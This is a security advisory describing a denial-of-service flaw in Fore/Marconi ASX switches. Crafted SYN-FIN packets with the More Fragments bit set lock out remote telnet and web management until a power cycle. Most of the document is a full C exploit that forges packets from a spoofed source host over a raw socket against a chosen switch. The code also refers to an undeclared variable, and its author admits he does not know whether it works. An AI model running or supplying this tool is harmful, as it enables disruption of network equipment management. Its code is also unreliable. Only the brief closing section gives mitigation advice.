|
Vulnerability Fore/Marconi ASX Switches Affected Fore/Marconi ASX Switches Description Keith Pachulski found following. Condition was tested and verified on ASX-1000 switches running ForeThought6.2 software. When an ASX switch receives a crafted packet with certain attributes in the packet, the ASX switch telnetd and/or httpd will enter into a close wait state and refuse telnet and web interface management connections until the switch is reloaded. Which service to enter into the close wait state depends on which service was targeted. If both telnet and web are targeted, the switch will become unresponseive to all remote management. The switch will need to be physically power cycled to allow for management. The attack does not hinder the switches ability to operate though, it only refuses connections for remote management. A combination of SYN-FIN and More Fragments will cause the remote management service to enter into a close_wait state until the switch is power cycled. Attached is a simple program that sets the SYN, FIN and More Fragments bits, which causes a DoS on Fore/Marconi ASX switches. /* This DoS attack was discovered by Keith Pachulski and written by J.K. Garvey. This simple program sets the SYN, FIN and More Fragment bits and sends this crafted packet from a spoofed host to a destined Fore/Marconi ASX switch, which causes it to crash. I have no idea if this works, but it does what Keith Pachulski described. */ #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <string.h> #include <unistd.h> #include <netdb.h> #include <netinet/in.h> #include <sys/socket.h> #include <arpa/inet.h> #include <linux/ip.h> #include <linux/tcp.h> #define IP_MF 0x2000 /* More fragment bits */ void forge (unsigned int, unsigned int, unsigned short); unsigned short in_cksum (unsigned short *, int); unsigned int host_convert (char *); void usage (char *); main (int argc, char **argv) { unsigned int source_host = 0, dest_host = 0; unsigned short source_port = 0, dest_port = 80; int input; char desthost[16], srchost[16]; printf ("\nDenial of Service attack for Fore/Marconi ASX Switches\n"); printf ("Found by Keith Pachulski <keithp@corp.ptd.net>\nExploit written by J.K. Garvey <jim@trig.org>\n"); if (getuid () != 0) { printf ("\nRoot is required. Duh.\n"); exit (0); } if (argc < 5) { usage (argv[0]); exit (0); } while ((input = getopt (argc, argv, "s:d:p:")) != -1) { switch (input) { case 's': source_host = host_convert (optarg); strncpy (srchost, optarg, 16); break; case 'd': dest_host = host_convert (optarg); strncpy (desthost, optarg, 16); break; case 'p': dest_port = atoi(optarg); break; } } forge (source_host, dest_host, dest_port); printf ("\nCrafted packet sent!\n"); exit (0); } void forge (unsigned int source_addr, unsigned int dest_addr, unsigned short dest_port) { struct send { struct iphdr ip; struct tcphdr tcp; } send; /* From synhose.c by knight */ struct pseudo_header { unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; } pseudo_header; int ch; int send_socket; int recv_socket; struct sockaddr_in sin; char *input; srand ((getpid ()) * (dest_port)); /* Begin forged IP header */ send.ip.ihl = 5; send.ip.version = 4; send.ip.tos = 0; send.ip.tot_len = htons (40); send.ip.id = (int) (255.0 * rand () / (RAND_MAX + 1.0)); /* Note more fragments bit has been set */ send.ip.frag_off = htons (IP_MF); send.ip.ttl = 64; send.ip.protocol = IPPROTO_TCP; send.ip.check = 0; send.ip.saddr = source_addr; send.ip.daddr = dest_addr; /* Begin forged TCP header */ send.tcp.source = 1 + (int) (25.0 * rand () / (RAND_MAX + 1.0)); send.tcp.seq = 1 + (int) (10000.0 * rand () / (RAND_MAX + 1.0)); send.tcp.dest = htons (dest_port); send.tcp.ack_seq = 0; send.tcp.res1 = 0; send.tcp.doff = 5; /* Note FIN and SYN flags are set */ send.tcp.fin = 1; send.tcp.syn = 1; send.tcp.rst = 0; send.tcp.psh = 0; send.tcp.ack = 0; send.tcp.urg = 0; send.tcp.window = htons (512); send.tcp.check = 0; send.tcp.urg_ptr = 0; /* Drop our forged data into the socket struct */ sin.sin_family = AF_INET; sin.sin_port = send.tcp.source; sin.sin_addr.s_addr = send.ip.daddr; /* Now open the raw socket for sending */ send_socket = socket (AF_INET, SOCK_RAW, IPPROTO_RAW); if (send_socket < 0) { perror ("Send socket cannot be opened."); exit (1); } /* Make IP header checksum */ send.ip.check = in_cksum ((unsigned short *) &send_tcp.ip, 20); /* Final preparation of the full header */ /* From synhose.c by knight */ pseudo_header.source_address = send.ip.saddr; pseudo_header.dest_address = send.ip.daddr; pseudo_header.placeholder = 0; pseudo_header.protocol = IPPROTO_TCP; pseudo_header.tcp_length = htons (20); bcopy ((char *) &send.tcp, (char *) &pseudo_header.tcp, 20); /* Final checksum on the entire package */ send.tcp.check = in_cksum ((unsigned short *) &pseudo_header, 32); /* Away we go.... */ sendto (send_socket, &send, 40, 0, (struct sockaddr *) &sin, sizeof (sin)); close (send_socket); } unsigned short in_cksum (unsigned short *ptr, int nbytes) { register long sum; /* assumes long == 32 bits */ u_short oddbyte; register u_short answer; /* assumes u_short == 16 bits */ sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { oddbyte = 0; /* make sure top half is zero */ *((u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */ sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* ones-complement, then truncate to 16 bits */ return (answer); } unsigned int host_convert (char *hostname) { static struct in_addr i; struct hostent *h; i.s_addr = inet_addr (hostname); if (i.s_addr == -1) { h = gethostbyname (hostname); if (h == NULL) { fprintf (stderr, "cannot resolve %s\n", hostname); exit (0); } bcopy (h->h_addr, (char *) &i.s_addr, h->h_length); } return i.s_addr; } void usage (char *progname) { printf ("\nusage: %s -s source_host -d destination_host -p destination_port (default is 80)\n\n", progname); } Solution Filter all traffic destined to the switches for remote management. There is no vendor supplied patch or code upgrade as of this writing for the Denial of Service condition. The vendor has been notified and is aware of this condition in the device.